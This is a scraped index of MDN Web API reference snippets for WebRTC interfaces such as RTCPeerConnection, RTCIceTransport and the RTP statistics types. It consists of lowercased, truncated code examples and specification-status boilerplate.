RTCIceCandidateStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatetype' in that specification.
... candidate recommendation initial definition.
RTCIceComponent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecomponent' in that specification.
... candidate recommendation initial definition.
RTCIceCredentialType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecredentialtype' in that specification.
... candidate recommendation initial specification.
RTCIceGathererState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicegathererstate' in that specification.
... candidate recommendation initial definition.
RTCIceParameters.password - Web APIs
syntax password = rtciceparameters.password; value a domstring containing the password that corresponds to the transport's usernamefragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification.
... candidate recommendation initial specification.
RTCIceParameters.usernameFragment - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCIceParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters' in that specification.
... candidate recommendation initial specification.
RTCIceProtocol - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceprotocol' in that specification.
... candidate recommendation initial definition.
RTCIceRole - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicerole' in that specification.
... candidate recommendation initial definition.
RTCIceServer.credential - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
... candidate recommendation initial specification.
RTCIceServer.credentialType - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
... candidate recommendation initial specification.
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.urls' in that specification.
... candidate recommendation initial specification.
RTCIceServer.username - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
... candidate recommendation initial specification.
RTCIceTcpCandidateType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetcpcandidatetype' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.component - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.component' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.gatheringState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.gatheringstate' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getLocalCandidates() - Web APIs
var localcandidates = pc.getsenders()[0].transport.transport.getlocalcandidates(); localcandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getlocalcandidates()' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getLocalParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getlocalparameters' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.getRemoteCandidates() - Web APIs
var remotecandidates = pc.getsenders()[0].transport.transport.getremotecandidates(); remotecandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getremotecandidates()' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getRemoteParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getremoteparameters' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
emote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getselectedcandidatepair()' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.ongatheringstatechange - Web APIs
var icetransport = pc.getsenders()[0].transport.transport; icetransport.ongatheringstatechange = function(event) { if (icetransport.gatheringstate == "complete") { allcandidatesreceived(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.ongatheringstatechange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
emote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onselectedcandidatepairchange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.onstatechange - Web APIs
var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.role - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.role' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.state - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransportstate' in that specification.
... candidate recommendation initial definition.
RTCIceTransportState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicerole' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.averagertcpinterval' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.bytesreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fecpacketsdiscarded' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fecpacketsreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fircount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.framesdecoded' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.nackcount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsduplicated' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsfaileddecryption' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.perdscppacketsreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.plicount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.qpSum - Web APIs
e "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.qpsum' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.receiverId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.receiverid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.remoteId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.slicount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats - Web APIs
examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcinboundrtpstreamstats' in that specification.
... candidate recommendation initial specification.
RTCOfferAnswerOptions - Web APIs
the default value is true, enabling this functionality specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferansweroptions' in that specification.
... candidate recommendation initial definition.
RTCOfferOptions.iceRestart - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions.icerestart' in that specification.
... candidate recommendation initial definition.
RTCOfferOptions - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.averagertcpinterval' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.fircount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.framesencoded' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.nackcount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.perdscppacketssent' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.plicount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.qpSum - Web APIs
e "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qpsum' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qualitylimitationreason' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.remoteId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.slicount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats - Web APIs
examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcoutboundrtpstreamstats' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.addStream() - Web APIs
stream.removetrack(track); if (pc.removetrack) { pc.removetrack(pc.getsenders().find(sender => sender.track == track)); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addstream()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.addTrack() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtrack()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.close() - Web APIs
function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.close()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.connectionState - Web APIs
*/ var connectionstate = pc.connectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.connectionstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: connectionstatechange event - Web APIs
*/ } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'connectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.currentLocalDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentlocaldescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.currentRemoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentremotedescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: datachannel event - Web APIs
e rtcpeerconnection interface's ondatachannel event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'datachannel' in that specification.
... candidate recommendation basic definition.
RTCPeerConnection.generateCertificate() - Web APIs
example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { var pc = new rtcpeerconnection({certificates: [cert]}); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'generatecertificate()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getConfiguration() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getconfiguration()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getReceivers() - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getreceivers()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getSenders() - Web APIs
function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.foreach(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getStats() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getstats()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.iceConnectionState - Web APIs
example var pc = new rtcpeerconnection(); var state = pc.iceconnectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.iceconnectionstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
if ice restart is initiated while in the transient disconnected state, the state transitions instead to checking, essentially indicating that the negotiation is ignoring the fact that the connection had been temporarily lost.
...ll-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'iceconnectionstatechange' in that specification.
RTCPeerConnection.iceGatheringState - Web APIs
example var pc = new rtcpeerconnection(); var state = pc.icegatheringstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.icegatheringstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: icegatheringstatechange event - Web APIs
ange", ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gathering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidatestatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: icecandidateerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidateerror' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.localDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.localdescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.localdescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the communication environment requires reconfiguring the connection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'negotiationneeded' in that specification.
RTCPeerConnection.onconnectionstatechange - Web APIs
/ the connection has become fully connected break; case "disconnected": case "failed": // one or more transports has terminated unexpectedly or in an error break; case "closed": // the connection has been closed break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onconnectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.ondatachannel - Web APIs
example pc.ondatachannel = function(ev) { console.log('data channel is created!'); ev.channel.onopen = function() { console.log('data channel is open and ready to be used.'); }; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ondatachannel' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicecandidate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicecandidateerror - Web APIs
} } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidateerror' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.oniceconnectionstatechange - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.oniceconnectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicegatheringstatechange - Web APIs
let label = "unknown"; switch(pc.icegatheringstate) { case "new": case "complete": label = "idle"; break; case "gathering": label = "determining route"; break; } document.getelementbyid("icestatus").innerhtml = label; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicegatheringstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onnegotiationneeded - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onnegotiationneeded' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onsignalingstatechange - Web APIs
pc.onsignalingstatechange = function(event) { if (pc.signalingstate === "have-local-pranswer") { // setlocaldescription() has been called with an answer } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onsignalingstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.ontrack - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ontrack' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.pendingLocalDescription - Web APIs
} else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendinglocaldescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.pendingRemoteDescription - Web APIs
} else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.remoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.remotedescription; if (sd) { alert("remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.removeTrack() - Web APIs
tion(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.sctp - Web APIs
ta"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.signalingState - Web APIs
example var pc = new rtcpeerconnection(configuration); var state = pc.signalingstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.signalingstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: track event - Web APIs
pc.ontrack = e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification.
... candidate recommendation initial definition.
RTCPeerConnectionIceEvent.candidate - Web APIs
example pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent.candidate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnectionIceEvent - Web APIs
examples pc.onicecandidate = function( ev ) { alert("the ice candidate (transport address: '" + ev.candidate.candidate + "') has been added to this connection."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceevent' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection: idpvalidationerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
... candidate recommendation initial definition.
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats.remotetimestamp' in that specification.
... candidate recommendation initial definition.
RTCRemoteOutboundRtpStreamStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.audioLevel - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'audiolevel' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.source - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.timestamp - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource - Web APIs
timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters.maxBitrate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.maxbitrate' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.scaleresolutiondownby' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiveParameters - Web APIs
function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getContributingSources() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getcontributingsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getParameters() - Web APIs
function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getStats() - Web APIs
receiver.getstats().then(function(stats) { document.getelementbyid("lostpackets").innertext = stats.packetslost; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpReceiver.getSynchronizationSources() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getsynchronizationsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver' in that specification.
... candidate recommendation initial definition.
RTCRtpSendParameters.encodings - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters.encodings' in that specification.
... candidate recommendation initial definition.
RTCRtpSendParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsendparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.getParameters() - Web APIs
function getsendertransactionid(sender) { let parameters = sender.getparameters(); return parameters.transactionid; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.getStats() - Web APIs
sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.roundtriptime; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpSender.setParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.codecId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.codecid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.kind - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.kind' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.ssrc - Web APIs
do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.trackid' in that specification.
